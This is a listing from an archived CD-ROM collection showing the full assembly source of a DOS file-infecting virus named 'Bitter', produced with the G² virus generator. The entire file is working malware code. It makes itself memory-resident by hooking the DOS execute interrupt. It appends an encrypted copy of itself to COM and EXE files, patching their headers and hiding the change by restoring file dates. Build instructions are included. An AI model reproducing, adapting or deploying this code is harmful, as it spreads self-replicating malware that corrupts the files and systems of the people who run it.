home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / SOURCE.ZIP / BITTER.ASM < prev    next >
Assembly Source File  |  1996-04-22  |  11KB  |  348 lines

  1. ; Virus generated by G² 0.70ß
  2. ; G² written by Dark Angel of Phalcon/Skism
  3.                 
  4. ; File: BITTER.ASM
  5. ;     Bitter by Ender
  6.                 
  7. checkres1       =       'DA'
  8. checkres2       =       'PS'
  9. id              =       'EF'
  10.                 
  11.         .model  tiny
  12.         .code   
  13.                 
  14. ; Assemble with:
  15. ; TASM /m3 filename.ASM
  16. ; TLINK filename.OBJ
  17. ; EXE2BIN filename.EXE filename.COM
  18.         org     0000h
  19.                 
  20. start:
  21. ENCRYPT:
  22. patchstart:
  23.         mov     bx, offset endencrypt
  24.         mov     cx, (heap-endencrypt)/2+1
  25. encrypt_loop:
  26.         db      002Eh                   ; cs:
  27.         db      0081h                   ; add word ptr [bx], xxxx
  28. xorpatch        db      0007h
  29. encryptvalue    dw      0000h
  30.         inc     bx
  31.         inc     bx
  32.         loop    encrypt_loop
  33. endencrypt:
  34.         call    next
  35. next:
  36.         pop     bp
  37.         sub     bp, offset next
  38.                 
  39.         push    es
  40.         push    ds
  41.                 
  42.         mov     ax, checkres1           ; Installation check
  43.         int     0021h
  44.         cmp     ax, checkres2           ; Already installed?
  45.         jz      done_install
  46.                 
  47.         mov     ax, ds
  48.         dec     ax
  49.         mov     ds, ax
  50.         sub     word ptr ds:[0003h], ((endheap-start+1023)/1024)*64
  51.         sub     word ptr ds:[0012h], ((endheap-start+1023)/1024)*64
  52.         mov     es, word ptr ds:[0012h]
  53.                 
  54.         push    cs
  55.         pop     ds
  56.         xor     di, di
  57.         mov     cx, (heap-start)/2+1    ; Bytes to move
  58.         mov     si, bp                  ; lea  si,[bp+offset start]
  59.         rep     movsw   
  60.                 
  61.         xor     ax, ax
  62.         mov     ds, ax
  63.         sub     word ptr ds:[0413h], (endheap-start+1023)/1024
  64.         push    ds
  65.         lds     ax, ds:[21h*4]          ; Get old int handler
  66.         mov     word ptr es:oldint21, ax
  67.         mov     word ptr es:oldint21+2, ds
  68.         pop     ds
  69.         mov     word ptr ds:[21h*4], offset int21 ; Replace with new handler
  70.         mov     ds:[21h*4+2], es        ; in high memory
  71.                 
  72. done_install:
  73.         pop     ds
  74.         pop     es
  75.         cmp     sp, id
  76.         je      restore_EXE
  77. restore_COM:
  78.         mov     di, 0100h
  79.         push    di
  80.         lea     si, [bp+offset old3]
  81.         movsw   
  82.         movsb   
  83.         ret     
  84.                 
  85. restore_EXE:
  86.         mov     ax, ds
  87.         add     ax, 0010h
  88.         add     cs:[bp+word ptr origCSIP+2], ax
  89.         add     ax, cs:[bp+word ptr origSPSS]
  90.         cli     
  91.         mov     ss, ax
  92.         mov     sp, cs:[bp+word ptr origSPSS+2]
  93.         sti     
  94.         db      00EAh
  95. origCSIP        db      ?
  96. old3            db      0cdh,20h,0
  97. origSPSS        dd      ?
  98.                 
  99. INT24:
  100.         mov     al, 0003h
  101.         iret    
  102.                 
  103. int21:
  104.         push    ax
  105.         push    bx
  106.         push    cx
  107.         push    dx
  108.         push    si
  109.         push    di
  110.         push    ds
  111.         push    es
  112.                 
  113.         cmp     ax, 4B00h               ; execute?
  114.         jz      execute
  115. return:
  116.         jmp     exitint21
  117. execute:
  118.         mov     word ptr cs:filename, dx
  119.         mov     word ptr cs:filename+2, ds
  120.         mov     ax, 3524h
  121.         int     0021h
  122.         push    es
  123.         push    bx
  124.                 
  125.         mov     ax, 2524h
  126.         lea     dx, INT24               ; ASSumes ds=cs
  127.         int     0021h
  128.                 
  129.         push    cs
  130.         pop     es
  131.                 
  132.                 
  133.         mov     bx, dx
  134.         cmp     word ptr [bx+3], 'AM'   ; Check if COMMAND.COM
  135.         jz      return                  ; Exit if so
  136.                 
  137.         mov     ax, 4300h
  138.         lds     dx, cs:filename
  139.         int     0021h
  140.         jc      return
  141.         push    cx
  142.         push    ds
  143.         push    dx
  144.                 
  145.         mov     ax, 4301h               ; clear file attributes
  146.         push    ax                      ; save for later use
  147.         xor     cx, cx
  148.         int     0021h
  149.                 
  150.         lds     dx, cs:filename
  151.         mov     ax, 3D02h
  152.         int     0021h
  153.         mov     bx, ax                  ; xchg ax,bx is more efficient
  154.                 
  155.         push    cs
  156.         pop     ds
  157.                 
  158.         mov     ax, 5700h               ; get file time/date
  159.         int     0021h
  160.         push    cx
  161.         push    dx
  162.                 
  163.         mov     ah, 003Fh
  164.         mov     dx, offset readbuffer
  165.         mov     cx, 001Ah
  166.         int     0021h
  167.                 
  168.         mov     ax, 4202h
  169.         xor     cx, cx
  170.         cwd     
  171.         int     0021h
  172.                 
  173.         cmp     word ptr [offset readbuffer], 'ZM'
  174.         jz      checkEXE
  175.                 
  176.         mov     cx, word ptr [offset readbuffer+1] ; jmp location
  177.         add     cx, heap-start+3        ; convert to filesize
  178.         cmp     ax, cx                  ; equal if already infected
  179.         jz      jmp_close
  180.                 
  181.         cmp     ax, 65535-(endheap-start) ; check if too large
  182.         ja      jmp_close               ; Exit if so
  183.                 
  184.         cmp     ax, (heap-start)        ; check if too small
  185.         jb      jmp_close               ; Exit if so
  186.                 
  187.         mov     di, offset old3
  188.         mov     si, offset readbuffer
  189.         movsw   
  190.         movsb   
  191.                 
  192.         mov     si, ax                  ; save entry point
  193.         add     si, 0100h
  194.         mov     cx, 0003h
  195.         sub     ax, cx
  196.         mov     word ptr [offset readbuffer+1], ax
  197.         mov     dl, 00E9h
  198.         mov     byte ptr [offset readbuffer], dl
  199.         jmp     short continue_infect
  200. checkEXE:
  201.         cmp     word ptr [offset readbuffer+10h], id
  202.         jnz     skipp
  203. jmp_close:
  204.         jmp     close
  205. skipp:
  206.                 
  207.         lea     si, readbuffer+14h
  208.         lea     di, origCSIP
  209.         movsw                           ; Save original CS and IP
  210.         movsw   
  211.                 
  212.         sub     si, 000Ah
  213.         movsw                           ; Save original SS and SP
  214.         movsw   
  215.                 
  216.         push    bx                      ; save file handle
  217.         mov     bx, word ptr [readbuffer+8] ; Header size in paragraphs
  218.         mov     cl, 0004h
  219.         shl     bx, cl
  220.                 
  221.         push    dx                      ; Save file size on the
  222.         push    ax                      ; stack
  223.                 
  224.         sub     ax, bx                  ; File size - Header size
  225.         sbb     dx, 0000h               ; DX:AX - BX -> DX:AX
  226.                 
  227.         mov     cx, 0010h
  228.         div     cx                      ; DX:AX/CX = AX Remainder DX
  229.                 
  230.         mov     word ptr [readbuffer+0Eh], ax ; Para disp stack segment
  231.         mov     word ptr [readbuffer+16h], ax ; Para disp CS in module.
  232.         mov     word ptr [readbuffer+10h], id ; Initial SP
  233.         mov     word ptr [readbuffer+14h], dx ; IP Offset
  234.                 
  235.         mov     si, dx                  ; save entry point
  236.         pop     ax                      ; Filelength in DX:AX
  237.         pop     dx
  238.                 
  239.         add     ax, heap-start
  240.         adc     dx, 0000h
  241.                 
  242.         mov     cl, 0009h
  243.         push    ax
  244.         shr     ax, cl
  245.         ror     dx, cl
  246.         stc     
  247.         adc     dx, ax
  248.         pop     ax
  249.         and     ah, 0001h
  250.                 
  251.         mov     word ptr [readbuffer+2], ax ; the EXE header.
  252.         mov     word ptr [readbuffer+4], dx ; Fix-up the file size in
  253.                 
  254.         pop     bx                      ; restore file handle
  255.         mov     cx, 001Ah
  256.                 
  257. continue_infect:
  258.         push    cx                      ; save # bytes to write
  259.                 
  260. get_encrypt_value:
  261.         mov     ah, 002Ch               ; Get current time
  262.         int     0021h
  263.                 
  264.         or      dx, dx                  ; Check if encryption value = 0
  265.         jz      get_encrypt_value       ; Get another if it is
  266.                 
  267.         add     si, (offset endencrypt-offset encrypt)
  268.         mov     word ptr ds:[patchstart+1], si
  269.         mov     word ptr ds:[encryptvalue], dx
  270.                 
  271.         mov     di, offset encryptbuffer
  272.         mov     si, offset ENCRYPT
  273.         mov     cx, (heap-encrypt)/2
  274.         push    si
  275.         rep     movsw                   ; copy virus to buffer
  276.                 
  277.         mov     ax, offset endencrypt-encrypt+encryptbuffer
  278.         mov     word ptr ds:[patchstart+1], ax
  279.         pop     si
  280.         push    offset endencrypt
  281.         mov     byte ptr [offset endencrypt], 00C3h ; retn
  282.         xor     byte ptr [offset xorpatch-encrypt+encryptbuffer], 0028h
  283.         push    bx
  284.         call    si                      ; encrypt virus in buffer
  285.         pop     bx
  286.         pop     word ptr [offset endencrypt]
  287.                 
  288.         xor     byte ptr [offset xorpatch], 0028h
  289.                 
  290.         mov     ah, 0040h
  291.         mov     cx, heap-encrypt
  292.         mov     dx, offset encryptbuffer
  293.         int     0021h
  294.                 
  295.         mov     ax, 4200h
  296.         xor     cx, cx
  297.         cwd     
  298.         int     0021h
  299.                 
  300.                 
  301.         pop     cx
  302.         mov     ah, 0040h
  303.         mov     dx, offset readbuffer
  304.         int     0021h
  305.                 
  306.                 
  307. close:
  308.         mov     ax, 5701h               ; restore file time/date
  309.         pop     dx
  310.         pop     cx
  311.         int     0021h
  312.                 
  313.         mov     ah, 003Eh
  314.         int     0021h
  315.                 
  316.         pop     ax                      ; restore file attributes
  317.         pop     dx                      ; get filename and
  318.         pop     ds
  319.         pop     cx                      ; attributes from stack
  320.         int     0021h
  321.                 
  322.         pop     dx
  323.         pop     ds
  324.         mov     ax, 2524h
  325.         int     0021h
  326.                 
  327. exitint21:
  328.         pop     es
  329.         pop     ds
  330.         pop     di
  331.         pop     si
  332.         pop     dx
  333.         pop     cx
  334.         pop     bx
  335.         pop     ax
  336.                 
  337.         db      00EAh                   ; return to original handler
  338. oldint21        dd      ?
  339.                 
  340. virusname       db      'I am quite BITTER!',0
  341.                 
  342. heap:
  343. encryptbuffer   db      (heap-encrypt)+1 dup (?)
  344. filename        dd      ?
  345. readbuffer      db      1ah dup (?)
  346. endheap:
  347.         end     start
  348.